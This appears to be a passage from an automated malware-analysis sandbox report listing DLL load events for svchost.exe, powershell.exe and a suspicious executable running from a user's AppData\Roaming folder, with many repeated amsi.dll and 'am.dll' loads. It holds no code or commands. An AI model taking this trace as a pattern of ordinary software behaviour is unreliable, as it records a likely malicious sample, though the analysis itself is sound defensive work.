Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: eamsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
